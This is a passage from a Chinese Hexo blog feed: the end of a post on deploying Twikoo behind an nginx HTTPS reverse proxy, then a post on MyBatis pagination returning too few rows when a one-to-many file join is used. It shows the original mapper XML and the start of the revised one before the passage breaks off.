class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">http</span> &#123;</span><br><span class="line">    <span class="section">upstream</span>  twikoo &#123;  <span class="comment">#可以指定多个项目 </span></span><br><span class="line">       <span class="attribute">server</span>  <span class="number">127.0.0.1:7654</span>  weight=<span class="number">1</span>; <span class="comment"># 这个端口即为上方Twikoo的服务端口</span></span><br><span class="line">    &#125;</span><br><span class="line">   <span class="section">server</span> &#123;</span><br><span class="line">   </span><br><span class="line">    <span class="attribute">listen</span> <span class="number">443</span> ssl;</span><br><span class="line">    <span class="attribute">server_name</span> twikoo.allbs.cn; <span class="comment">#修改为申请证书绑定的域名</span></span><br><span class="line">    </span><br><span class="line">    <span class="attribute">root</span> html;</span><br><span class="line">    <span class="attribute">index</span> index.html index.htm;</span><br><span class="line">    <span class="attribute">ssl_certificate</span>      /usr/local/nginx/ssl/twikoo.allbs.cn_bundle.crt;  <span class="comment"># 修改自己服务器证书的真实位置</span></span><br><span class="line"><span class="attribute">ssl_certificate_key</span>  /usr/local/nginx/ssl/twikoo.allbs.cn.key;  <span class="comment"># 修改自己服务器证书的真实位置</span></span><br><span class="line">    <span class="attribute">ssl_session_timeout</span> <span class="number">5m</span>;</span><br><span class="line">    <span class="attribute">ssl_ciphers</span> ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;</span><br><span class="line">    <span class="attribute">ssl_protocols</span> TLSv1 TLSv1.<span class="number">1</span> TLSv1.<span class="number">2</span>;</span><br><span class="line">    <span class="attribute">ssl_prefer_server_ciphers</span> <span class="literal">on</span>;</span><br><span class="line">    <span class="section">location</span> / &#123;</span><br><span class="line">            <span class="attribute">proxy_pass</span> http://twikoo; </span><br><span class="line">            <span class="attribute">proxy_set_header</span> Host <span class="variable">$host</span>;</span><br><span class="line">            <span class="attribute">proxy_set_header</span> X-Real-IP <span class="variable">$remote_addr</span>;</span><br><span class="line">            <span class="attribute">proxy_set_header</span>   X-Forwarded-Proto https;  <span class="comment"># 转发时使用https协议</span></span><br><span class="line"><span class="attribute">proxy_max_temp_file_size</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment"># This is the maximum upload size</span></span><br><span class="line"><span class="attribute">client_max_body_size</span>       <span class="number">20m</span>;</span><br><span class="line"><span class="attribute">client_body_buffer_size</span>    <span class="number">128k</span>;</span><br><span class="line"></span><br><span class="line"><span class="attribute">proxy_connect_timeout</span>      <span class="number">90</span>;</span><br><span class="line"><span class="attribute">proxy_send_timeout</span>         <span class="number">90</span>;</span><br><span class="line"><span class="attribute">proxy_read_timeout</span>         <span class="number">90</span>;</span><br><span class="line"></span><br><span class="line"><span class="attribute">proxy_temp_file_write_size</span> <span class="number">64k</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment"># Required for new HTTP-based CLI</span></span><br><span class="line"><span class="attribute">proxy_http_version</span> <span class="number">1</span>.<span class="number">1</span>;</span><br><span class="line"><span class="attribute">proxy_request_buffering</span> <span class="literal">off</span>;</span><br><span class="line"><span class="attribute">proxy_buffering</span> <span class="literal">off</span>; <span class="comment"># Required for HTTP-based CLI to work over SSL</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">本地化部署Twikoo并配置图床、邮件提醒、微信提醒功能</summary>
    
    
    
    <category term="hexo" scheme="https://blog.allbs.cn/categories/hexo/"/>
    
    
    <category term="hexo" scheme="https://blog.allbs.cn/tags/hexo/"/>
    
    <category term="butterfly" scheme="https://blog.allbs.cn/tags/butterfly/"/>
    
    <category term="Twikoo" scheme="https://blog.allbs.cn/tags/Twikoo/"/>
    
  </entry>
  
  <entry>
    <title>mybatis 分页查询导致数据缺失问题</title>
    <link href="https://blog.allbs.cn/posts/54483/"/>
    <id>https://blog.allbs.cn/posts/54483/</id>
    <published>2022-08-05T05:15:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<h2 id="问题">问题</h2><p>分页查询主表数据，需要关联查询出子表数据，子表数据超过一条的情况下，查询出的每页条数小于预期</p><h2 id="存在问题的写法">存在问题的写法</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">mapper</span> <span class="keyword">PUBLIC</span> <span class="string">&quot;-//mybatis.org//DTD Mapper 3.0//EN&quot;</span> <span class="string">&quot;http://mybatis.org/dtd/mybatis-3-mapper.dtd&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">mapper</span> <span class="attr">namespace</span>=<span class="string">&quot;com.lyc.admin.dao.db.DbUnitInfoDao&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">resultMap</span> <span class="attr">type</span>=<span class="string">&quot;com.lyc.common.entity.db.DbUnitInfoEntity&quot;</span> <span class="attr">id</span>=<span class="string">&quot;DbUnitInfoMap&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;id&quot;</span> <span class="attr">column</span>=<span class="string">&quot;id&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;organizationCode&quot;</span> <span class="attr">column</span>=<span class="string">&quot;organization_code&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;shortName&quot;</span> <span class="attr">column</span>=<span class="string">&quot;short_name&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;address&quot;</span> <span class="attr">column</span>=<span class="string">&quot;address&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;socialCreditCode&quot;</span> <span class="attr">column</span>=<span class="string">&quot;social_credit_code&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;legalRepresentative&quot;</span> <span class="attr">column</span>=<span class="string">&quot;legal_representative&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;statutoryContact&quot;</span> <span class="attr">column</span>=<span class="string">&quot;statutory_contact&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;mainBusinessincome&quot;</span> <span class="attr">column</span>=<span class="string">&quot;main_businessincome&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;industryCode&quot;</span> <span class="attr">column</span>=<span class="string">&quot;industry_code&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;mainRawMaterials&quot;</span> <span class="attr">column</span>=<span class="string">&quot;main_raw_materials&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;mainProduct&quot;</span> <span class="attr">column</span>=<span class="string">&quot;main_product&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;hazardLevel&quot;</span> <span class="attr">column</span>=<span class="string">&quot;hazard_level&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;enRiskLevel&quot;</span> <span class="attr">column</span>=<span class="string">&quot;en_risk_level&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;latitude&quot;</span> <span class="attr">column</span>=<span class="string">&quot;latitude&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;longitude&quot;</span> <span class="attr">column</span>=<span class="string">&quot;longitude&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;produceStatus&quot;</span> <span class="attr">column</span>=<span class="string">&quot;produce_status&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;unifiedCode&quot;</span> <span class="attr">column</span>=<span class="string">&quot;unified_code&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;delFlg&quot;</span> <span class="attr">column</span>=<span class="string">&quot;del_flg&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;createId&quot;</span> <span class="attr">column</span>=<span class="string">&quot;create_id&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;createTime&quot;</span> <span class="attr">column</span>=<span class="string">&quot;create_time&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;updateId&quot;</span> <span class="attr">column</span>=<span class="string">&quot;update_id&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;updateTime&quot;</span> <span class="attr">column</span>=<span class="string">&quot;update_time&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;introducce&quot;</span> <span class="attr">column</span>=<span class="string">&quot;introducce&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;sort&quot;</span> <span class="attr">column</span>=<span class="string">&quot;sort&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;unit_code&quot;</span> <span class="attr">property</span>=<span class="string">&quot;unitCode&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;height&quot;</span> <span class="attr">property</span>=<span class="string">&quot;height&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;park_unit_name&quot;</span> <span class="attr">property</span>=<span class="string">&quot;parkUnitName&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;area&quot;</span> <span class="attr">property</span>=<span class="string">&quot;area&quot;</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">resultMap</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">resultMap</span> <span class="attr">id</span>=<span class="string">&quot;unitInfoMap&quot;</span> <span class="attr">type</span>=<span class="string">&quot;com.lyc.common.vo.DbUnitVo&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span> <span class="attr">column</span>=<span class="string">&quot;id&quot;</span> <span class="attr">property</span>=<span class="string">&quot;id&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;organization_code&quot;</span> <span class="attr">property</span>=<span class="string">&quot;organizationCode&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;short_name&quot;</span> <span class="attr">property</span>=<span class="string">&quot;shortName&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;address&quot;</span> <span class="attr">property</span>=<span class="string">&quot;address&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;social_credit_code&quot;</span> <span class="attr">property</span>=<span class="string">&quot;socialCreditCode&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;legal_representative&quot;</span> <span class="attr">property</span>=<span class="string">&quot;legalRepresentative&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;statutory_contact&quot;</span> <span class="attr">property</span>=<span class="string">&quot;statutoryContact&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;main_businessincome&quot;</span> <span class="attr">property</span>=<span class="string">&quot;mainBusinessincome&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;industry_code&quot;</span> <span class="attr">property</span>=<span class="string">&quot;industryCode&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;main_raw_materials&quot;</span> <span class="attr">property</span>=<span class="string">&quot;mainRawMaterials&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;main_product&quot;</span> <span class="attr">property</span>=<span class="string">&quot;mainProduct&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;hazard_level&quot;</span> <span class="attr">property</span>=<span class="string">&quot;hazardLevel&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;en_risk_level&quot;</span> <span class="attr">property</span>=<span class="string">&quot;enRiskLevel&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;latitude&quot;</span> <span class="attr">property</span>=<span class="string">&quot;latitude&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;longitude&quot;</span> <span class="attr">property</span>=<span class="string">&quot;longitude&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;produce_status&quot;</span> <span class="attr">property</span>=<span class="string">&quot;produceStatus&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;unified_code&quot;</span> <span class="attr">property</span>=<span class="string">&quot;unifiedCode&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;introducce&quot;</span> <span class="attr">property</span>=<span class="string">&quot;introducce&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;sort&quot;</span> <span class="attr">property</span>=<span class="string">&quot;sort&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;unit_code&quot;</span> <span class="attr">property</span>=<span class="string">&quot;unitCode&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;height&quot;</span> <span class="attr">property</span>=<span class="string">&quot;height&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;park_unit_name&quot;</span> <span class="attr">property</span>=<span class="string">&quot;parkUnitName&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;area&quot;</span> <span class="attr">property</span>=<span class="string">&quot;area&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">collection</span> <span class="attr">property</span>=<span class="string">&quot;files&quot;</span> <span class="attr">ofType</span>=<span class="string">&quot;com.lyc.common.vo.FileVo&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;file_id&quot;</span> <span class="attr">property</span>=<span class="string">&quot;fileId&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;bucket_name&quot;</span> <span class="attr">property</span>=<span class="string">&quot;bucketName&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;file_name&quot;</span> <span class="attr">property</span>=<span class="string">&quot;fileName&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;url&quot;</span> <span class="attr">property</span>=<span class="string">&quot;url&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">result</span> <span class="attr">column</span>=<span class="string">&quot;original&quot;</span> <span class="attr">property</span>=<span class="string">&quot;name&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">collection</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">resultMap</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">sql</span> <span class="attr">id</span>=<span class="string">&quot;baseColumn&quot;</span>&gt;</span></span><br><span class="line">        du.id,</span><br><span class="line">        du.organization_code,</span><br><span class="line">        du.short_name,</span><br><span class="line">        du.address,</span><br><span class="line">        du.social_credit_code,</span><br><span class="line">        du.legal_representative,</span><br><span class="line">        du.statutory_contact,</span><br><span class="line">        du.main_businessincome,</span><br><span class="line">        du.industry_code,</span><br><span class="line">        du.main_raw_materials,</span><br><span class="line">        du.main_product,</span><br><span class="line">        du.hazard_level,</span><br><span class="line">        du.en_risk_level,</span><br><span class="line">        du.latitude,</span><br><span class="line">        du.longitude,</span><br><span class="line">        du.produce_status,</span><br><span class="line">        du.unified_code,</span><br><span class="line">        du.del_flg,</span><br><span class="line">        du.create_id,</span><br><span class="line">        du.create_time,</span><br><span class="line">        du.update_id,</span><br><span class="line">        du.update_time,</span><br><span class="line">        du.introducce,</span><br><span class="line">        du.sort,</span><br><span class="line">        du.unit_code,</span><br><span class="line">        du.height,</span><br><span class="line">        du.park_unit_name,</span><br><span class="line">        du.area</span><br><span class="line">    <span class="tag">&lt;/<span class="name">sql</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;unitInfoVoPage&quot;</span> <span class="attr">resultMap</span>=<span class="string">&quot;unitInfoMap&quot;</span>&gt;</span></span><br><span class="line">        select</span><br><span class="line">        <span class="tag">&lt;<span class="name">include</span> <span class="attr">refid</span>=<span class="string">&quot;baseColumn&quot;</span>/&gt;</span>,</span><br><span class="line">            sf.id as file_id,</span><br><span class="line">            sf.bucket_name,</span><br><span class="line">            sf.file_name,</span><br><span class="line">            sf.original,</span><br><span class="line">            concat(&#x27;/&#x27;, sf.bucket_name, &#x27;/&#x27;, sf.file_name) as url</span><br><span class="line">            from db_unit_info du</span><br><span class="line">                         left join sys_file sf on du.unified_code = sf.unique_code and sf.del_flg = 0</span><br><span class="line">        <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">            AND du.del_flg = 0</span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;dbUnitInfoEntity.shortName != null and dbUnitInfoEntity.shortName != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">                AND du.short_name LIKE CONCAT(&#x27;%&#x27;, #&#123;dbUnitInfoEntity.shortName&#125;, &#x27;%&#x27;)</span><br><span class="line">            <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;dbUnitInfoEntity.parkUnitName != null and dbUnitInfoEntity.parkUnitName != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">                AND du.park_unit_name LIKE CONCAT(&#x27;%&#x27;, #&#123;dbUnitInfoEntity.parkUnitName&#125;, &#x27;%&#x27;)</span><br><span class="line">            <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;dbUnitInfoEntity.hazardLevel != null and dbUnitInfoEntity.hazardLevel != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">                AND du.hazard_level = #&#123;dbUnitInfoEntity.hazardLevel&#125;</span><br><span class="line">            <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;dbUnitInfoEntity.produceStatus != null and dbUnitInfoEntity.produceStatus != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">                AND du.produce_status = #&#123;dbUnitInfoEntity.produceStatus&#125;</span><br><span class="line">            <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;dbUnitInfoEntity.industryCode != null and dbUnitInfoEntity.industryCode != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">                AND du.industry_code = #&#123;dbUnitInfoEntity.industryCode&#125;</span><br><span class="line">            <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;dbUnitInfoEntity.unitCode != null and dbUnitInfoEntity.unitCode != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">                AND du.unit_code = #&#123;dbUnitInfoEntity.unitCode&#125;</span><br><span class="line">            <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">mapper</span>&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="修改后的写法">修改后的写法</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">mapper</span> <span class="keyword">PUBLIC</span> <span class="string">&quot;-//mybatis.org//DTD Mapper 3.0//EN&quot;</span> <span class="string">&quot;http://mybatis.org/dtd/mybatis-3-mapper.dtd&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">mapper</span> <span class="attr">namespace</span>=<span class="string">&quot;com.lyc.admin.dao.db.DbUnitInfoDao&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">resultMap</span> <span class="attr">type</span>=<span class="string">&quot;com.lyc.common.entity.db.DbUnitInfoEntity&quot;</span> <span class="attr">id</span>=<span class="string">&quot;DbUnitInfoMap&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;id&quot;</span> <span class="attr">column</span>=<span 